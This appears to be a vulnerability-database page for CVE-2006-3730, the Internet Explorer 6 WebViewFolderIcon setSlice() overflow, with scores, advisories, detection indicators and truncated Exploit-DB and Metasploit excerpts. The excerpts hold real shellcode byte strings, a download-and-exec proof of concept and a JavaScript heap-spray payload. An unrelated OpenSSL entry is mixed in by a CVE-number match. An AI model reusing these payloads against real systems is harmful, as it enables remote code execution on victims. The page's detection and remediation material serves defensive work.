CVE-2006-3730
published 2006-07-21CVE-2006-3730: Integer overflow in Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via…
PriorityP276high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
63.82%
99.1th percentile
Integer overflow in Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a 0x7fffffff argument to the setSlice method on a WebViewFolderIcon ActiveX object, which leads to an invalid memory copy.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
| microsoft | internet_explorer | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
%u9090%u9090 (NOP sled heap spray prefix)
bytes↗
%u9090%u9090 NOP sled + shellcode heap spray
- →Detect invocation of the WebViewFolderIcon ActiveX setSlice() method with the argument 0x7fffffff in HTML/script content served to Internet Explorer 6. ↗
- →Detect the shellcode byte sequence starting with EB 54 8B 75 3C in memory or network payloads — present in multiple independent exploit PoCs for this CVE. ↗
- →Detect use of the Metasploit return address 0x0c0c0c0c (%u0c0c) in unescape() heap spray buffers targeting Windows XP SP0-SP2 / IE 6.0SP1. ↗
- →Flag HTML files referencing the WebViewFolderIcon ActiveX CLSID combined with a setSlice() call — the exploit requires instantiation of this specific ActiveX object. ↗
- ·The Metasploit module randomizes all JavaScript variable names on each request, so static variable-name signatures will not reliably detect this exploit when delivered via Metasploit. ↗
- ·The Metasploit module also randomizes whitespace in the HTML document, further evading static content signatures. ↗
- ·The exploit targets only Windows XP SP0-SP2 with IE 6.0 SP1 English; the hardcoded return address 0x0c0c0c0c is specific to this platform/locale combination and will not work on other targets. ↗
- ·Payload bad characters are restricted to null bytes only (\x00), meaning most shellcode encodings are viable and the payload byte pattern will vary across sessions. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-3w9c-vcrh-mvp2: Integer overflow in Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) and execute arbitrary
ghsa_unreviewed·2022-05-01
CVE-2006-3730 [HIGH] CWE-94 GHSA-3w9c-vcrh-mvp2: Integer overflow in Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) and execute arbitrary
Integer overflow in Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a 0x7fffffff argument to the setSlice method on a WebViewFolderIcon ActiveX object, which leads to an invalid memory copy.
VulnCheck
Microsoft Internet Explorer Improper Control of Generation of Code ('Code Injection')
vulncheck·2006·CVSS 8.8
CVE-2006-3730 [HIGH] Microsoft Internet Explorer Improper Control of Generation of Code ('Code Injection')
Microsoft Internet Explorer Improper Control of Generation of Code ('Code Injection')
Integer overflow in Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a 0x7fffffff argument to the setSlice method on a WebViewFolderIcon ActiveX object, which leads to an invalid memory copy.
Affected: Microsoft Internet Explorer
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://learn.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-057; https://archive.f-secure.com/weblog/archives/00001393; https://web.archive.org/web/20090323012515/http://securitylabs.websen
No detection rules found.
Exploit-DB
OpenSSL 1.1.0 - Remote Client Denial of Service
exploitdb·2017-01-26·CVSS 7.5
CVE-2017-3730 [HIGH] OpenSSL 1.1.0 - Remote Client Denial of Service
OpenSSL 1.1.0 - Remote Client Denial of Service
---
// Source: https://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/
/*
* SSL server demonstration program
*
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for
Exploit-DB
Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (MS06-057) (Metasploit) (2)
exploitdb·2010-07-03
CVE-2006-3730 Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (MS06-057) (Metasploit) (2)
Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (MS06-057) (Metasploit) (2)
---
##
# $Id: ms06_057_webview_setslice.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
'Description' => %q{
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
during the Month of Browser Bugs project (MoBB #18).
},
'License' => MSF_LICENSE,
'Author' =>
[
Exploit-DB
Microsoft Internet Explorer - WebViewFolderIcon setSlice() (2)
exploitdb·2006-09-29
CVE-2006-3730 Microsoft Internet Explorer - WebViewFolderIcon setSlice() (2)
Microsoft Internet Explorer - WebViewFolderIcon setSlice() (2)
---
/*
*
* Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)
* Works on all Windows XP versions including SP2
*
* Author: LukeHack
* Mail: [email protected]
*
* Bug discovered by Computer H D Moore (http://www.metasploit.com)
*
* Credit: metasploit, jamikazu, yag kohna(for the shellcode)
*
* :
* Tested :
* : Windows XP SP2 + Internet Explorer 6.0 SP1
* :
* Complie : cl pociewvf.c
* :
* Usage : c:\>pociewvf
* :
* :Usage: pociewvf [htmlfile]
* :
*
*
*/
#include
#include
#include
FILE *fp = NULL;
char *file = "lukehack.htm";
char *url = NULL;
unsigned char sc[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x0
Exploit-DB
Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1)
exploitdb·2006-09-29
CVE-2006-3730 Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1)
Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1)
---
#!/usr/bin/perl
#
# Microsoft Internet Explorer WebViewFolderIcon setSlice() D0wnLoad & Exec POC
#
# Author: Vampyroteuthis Infernalis
# Greetz: H D Moor, Dark Eagle, Jamikazu
#
#
use strict;
my $sco =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03".
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C".
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40".
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C".
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF
Exploit-DB
Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)
exploitdb·2006-09-28
CVE-2006-3730 Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)
Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)
---
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape(
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySli
Exploit-DB
Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) (1)
exploitdb·2006-09-27
CVE-2006-3730 Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) (1)
Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) (1)
---
# This module is part of the metasploit framework3
# svn co http://metasploit.com/svn/framework3/trunk/
require 'msf/core'
module Msf
class Exploits::Windows::Browser::WebView_SetSlice 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
'Description' => %q{
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
during the Month of Browser Bugs project (MoBB #18).
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
],
'Version' => '$Revision: 3783 $',
'References' =>
[
[ 'OSVDB', '27110' ],
[ 'BID', '19030' ],
[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html'
Metasploit
MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow
metasploit
MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow
MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow
This module exploits a flaw in the WebViewFolderIcon ActiveX control included with Windows 2000, Windows XP, and Windows 2003. This flaw was published during the Month of Browser Bugs project (MoBB #18).
http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.htmlhttp://isc.sans.org/diary.php?storyid=1742http://riosec.com/msie-setslice-vulnhttp://secunia.com/advisories/22159http://securitytracker.com/id?1016941http://www.kb.cert.org/vuls/id/753044http://www.osvdb.org/27110http://www.securityfocus.com/archive/1/447174/100/0/threadedhttp://www.securityfocus.com/archive/1/447383/100/100/threadedhttp://www.securityfocus.com/archive/1/447426/100/0/threadedhttp://www.securityfocus.com/archive/1/447490/100/0/threadedhttp://www.securityfocus.com/archive/1/449179/100/0/threadedhttp://www.securityfocus.com/bid/19030http://www.us-cert.gov/cas/techalerts/TA06-270A.htmlhttp://www.us-cert.gov/cas/techalerts/TA06-283A.htmlhttp://www.vupen.com/english/advisories/2006/2882https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-057https://exchange.xforce.ibmcloud.com/vulnerabilities/27804https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A339https://www.exploit-db.com/exploits/2440http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.htmlhttp://isc.sans.org/diary.php?storyid=1742http://riosec.com/msie-setslice-vulnhttp://secunia.com/advisories/22159http://securitytracker.com/id?1016941http://www.kb.cert.org/vuls/id/753044http://www.osvdb.org/27110http://www.securityfocus.com/archive/1/447174/100/0/threadedhttp://www.securityfocus.com/archive/1/447383/100/100/threadedhttp://www.securityfocus.com/archive/1/447426/100/0/threadedhttp://www.securityfocus.com/archive/1/447490/100/0/threadedhttp://www.securityfocus.com/archive/1/449179/100/0/threadedhttp://www.securityfocus.com/bid/19030http://www.us-cert.gov/cas/techalerts/TA06-270A.htmlhttp://www.us-cert.gov/cas/techalerts/TA06-283A.htmlhttp://www.vupen.com/english/advisories/2006/2882https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-057https://exchange.xforce.ibmcloud.com/vulnerabilities/27804https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A339https://www.exploit-db.com/exploits/2440
2006-07-21
Published
Exploited in the wild